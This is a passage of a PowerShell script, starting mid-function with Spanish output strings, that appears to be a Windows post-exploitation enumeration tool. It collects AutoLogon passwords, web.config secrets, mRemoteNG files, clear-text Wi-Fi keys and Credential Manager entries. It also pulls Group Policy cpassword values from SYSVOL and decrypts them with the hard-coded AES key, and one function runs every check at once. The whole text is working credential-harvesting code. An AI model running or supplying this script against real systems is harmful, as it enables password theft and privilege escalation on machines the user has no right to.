if (($resultado.DefaultPassword).count -ge "1") {Write-Host "`n[+] ================================== Encontradas Credenciales en AutoLogon  ==================================`n";$resultado} else {Write-Host "`n[+] ================================== No se han encontrado datos en AutoLogon  ==================================`n"}


}
function buscarCadena([String]$cadena , [String]$file) {
    if ((Test-Path -Path $file) -and $cadena) {
        $list = Get-Content $file
        if ($list -match $cadena) {
            return $true
        }
    }
    return $false
}
function Get-Webconfig {
[array]$webconfigs = (ls c:\inetpub -Recurse -Force -ErrorAction SilentlyContinue | Where-Object {$_.FullName -like "*web.config"}  | Select-Object fullname).fullname
foreach ($webconfig in $webconfigs) {
if ((buscarCadena -cadena "pass" -file $webconfig) -eq $true) {
$ErrorActionPreference = "SilentlyContinue"
Write-Host "`n[+] ================================== Posible Password  ==================================`n"
Write-Host "[+] Archivo : $webconfig `n"
Write-Host "[+] Contenido : `n"
gc $webconfig

}

} }
function Get-Mremote {

[array]$full_user = (ls c:\users\ | Select-Object fullname).fullname
foreach ($usuario in $full_user) {
if ( (test-path "$usuario\appdata\Roaming\mRemoteNG") -eq $true ) {
Write-Host "`n[+] ================================== Encontrada configuracion de mRemoteNG  ==================================`n"
Write-Host "[+] $usuario\appdata\Roaming\mRemoteNG`n"
(ls $usuario\appdata\Roaming\mRemoteNG).FullName
Write-Host "[+] Herramienta para descifrar `nhttps://github.com/kmahyyg/mremoteng-decrypt"

} else {}

}
}
function Get-Software {
ls HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall | ForEach-Object -Process {$_.getvalue("DisplayName")}


}
function Find-EventCommand {param($string) if ($string -eq $null) {$comandos = (get-WinEvent -FilterHashtable @{LogName = 'Security'} | Select-Object @{name='NewProcessName';expression={ $_.Properties[5].Value }}, @{name='CommandLine';expression={ $_.Properties[8].Value }}).commandline ; $comandos | Out-File $env:temp"\salida.txt" ; $comandos = gc $env:temp"\salida.txt"; $comandos} else {$comandos = (get-WinEvent -FilterHashtable @{LogName = 'Security'} | Select-Object @{name='NewProcessName';expression={ $_.Properties[5].Value }}, @{name='CommandLine';expression={ $_.Properties[8].Value }}).commandline ; $comandos | Out-File $env:temp"\salida.txt" ; $comandos = gc $env:temp"\salida.txt"; $comandos | Select-String $string }}
function Wifi-Password {

Start-Job -ScriptBlock {(netsh wlan show profiles) | Select-String “\:(.+)$” | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=”$name” key=clear)} | Select-String “Key Content\W+\:(.+)$” | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize | Out-File $env:temp\wifi.txt}  | Wait-Job | Receive-Job
if ((gc $env:temp\wifi.txt).count -ge 1) {
write-host "`n[+] ================================== Wifi Passwords  =================================="
gc $env:temp\wifi.txt
Remove-Item $env:temp\wifi.txt -ea SilentlyContinue


}


}
function Get-DecryptedCpassword {
    [CmdletBinding()]
    Param (
        [string] $Cpassword 
    )

    try {
          
        $Mod = ($Cpassword.length % 4)
          
        switch ($Mod) {
        '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
        '2' {$Cpassword += ('=' * (4 - $Mod))}
        '3' {$Cpassword += ('=' * (4 - $Mod))}
        }

        $Base64Decoded = [Convert]::FromBase64String($Cpassword)
            
        
        try
        {
            $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider -ErrorAction Stop
        }
        catch
        {
            
            Write-Warning 'Unable to decrypt cPassword is .Net 3.5 installed?'
            return $Cpassword
        }
        [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
                                0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
            
        
        $AesIV = New-Object Byte[]($AesObject.IV.Length) 
        $AesObject.IV = $AesIV
        $AesObject.Key = $AesKey
        $DecryptorObject = $AesObject.CreateDecryptor() 
        [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
            
        return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
    } 
        
    catch {Write-Error $Error[0]}
} 
function Search-cpassword {


$path_sysvol = "\\" + (get-info).dominio + "\sysvol\" + (get-info).dominio + "\" + "policies" + "\*.xml"
$cpassword = findstr /S /I cpassword $path_sysvol; if ($cpassword -ne $null) {$archivo = ($cpassword -split ":")[0];  $cuenta = $cpassword.Length ; $cpassword = $cpassword.Split(" ")
if ($cuenta -ge 20) {
$username_cpassword = (($cpassword | Select-String "userName") -replace 'userName="','' -split '"')[0]
$pass_cpassword = ($cpassword | Select-String "cpassword") -replace 'cpassword="','' -replace '"',""
$password_texto_plano = Get-DecryptedCpassword -Cpassword $pass_cpassword
Write-Host "`n[+] ============================ Encontradas Credenciales Cpass ==================================`n"
Write-Host "[+] File = $archivo"
Write-Host "[+] Username = $username_cpassword"
Write-Host "[+] Password = $password_texto_plano"
} else {}
}
} 
function Comprueba-Todo {
Write-Host $banner
Write-Host "`n[+] ================================== Informacion General del Sistema  ==================================`n"
get-info
Write-Host "`n[+] ================================== Unidades del Sistema  ==================================`n"
get-discosduros 
Write-Host "`n[+] ================================== Privilegios del CurrentUser  ==================================`n"
whoami /priv
Write-Host "`n[+] ================================== Usuarios Locales  ==================================`n"
Get-LocalUser | ft Name,Enabled,LastLogon
Write-Host "`n[+] ================================== Grupos Locales  ==================================`n"
(Get-LocalGroup | Select-Object Name).name 
Write-Host "`n[+] ================================== Configuracion de Red  ==================================`n"
get-configRED 
get-webconfig
Write-Host "`n[+] ================================== Software Instalado  ==================================`n"
get-software
Write-Host "`n[+] ================================== Drivers de terceros  ==================================`n"
get-driversinstalados
Write-Host "`n[+] ================================== Servicios sin Comillas  =================================="
Obtenemos-Servicios
Wifi-Password
Search-cpassword
get-autologon
get-mremote
Write-Host "`n[+] ================================== Credenciales del sistema  =================================="
credman -ShoCred | fl
get-config-firewall
}


Comprueba-Todo